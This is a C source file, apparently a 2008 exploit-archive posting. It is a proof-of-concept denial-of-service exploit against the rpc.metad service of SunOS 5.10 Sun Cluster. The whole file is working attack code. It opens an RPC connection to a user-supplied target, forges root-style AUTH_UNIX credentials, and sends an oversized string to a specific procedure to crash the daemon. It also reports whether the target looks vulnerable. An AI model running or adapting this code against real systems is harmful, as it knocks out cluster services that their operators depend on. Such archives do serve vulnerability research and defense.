75 lines
No EOL
2 KiB
C
75 lines
No EOL
2 KiB
C
/*##########################################################*/
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/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC #*/
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/*## causes DoS on rpc.metad #*/
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/*## (C) 2008 - Kingcope #*/
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/*##########################################################*/
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <rpc/rpc.h>
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#include <netdb.h>
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#include <stdio.h>
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#include <errno.h>
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extern int optarg;
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#define METAD_PROG 100229
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#define METAD_VERS 2
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#define METAD_FUNC 6
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typedef struct{char *string;}req_t;
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bool_t xdr_req(XDR *xdrs,req_t *obj){
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if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
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return(TRUE);
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}
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main(int argc,char **argv){
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char buffer[30000],address[4],*b,*cmd;
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int i,c,n,flag=1,vers=0,port=0,sck;
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CLIENT *cl;enum clnt_stat stat;
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struct hostent *hp;
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struct sockaddr_in adr;
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struct timeval tm={10,0};
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req_t req;
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printf("rpc.metad for solaris 10\n\n");
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if(argc<2){
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printf("usage: %s address\n",argv[0]);
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exit(-1);
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}
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printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC);
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printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
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fflush(stdout);
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adr.sin_family=AF_INET;
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adr.sin_port=htons(port);
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if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
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if((hp=gethostbyname(argv[1]))==NULL){
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errno=EADDRNOTAVAIL;perror("error");exit(-1);
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}
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memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
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}
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sck=RPC_ANYSOCK;
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if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
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clnt_pcreateerror("error");exit(-1);
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}
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cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
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memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
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buffer[3000]=0;
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req.string=buffer;
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stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
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if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
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printf("sent!\n"); /* if(!flag) exit(0);*/
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}
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}
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// milw0rm.com [2008-03-14]
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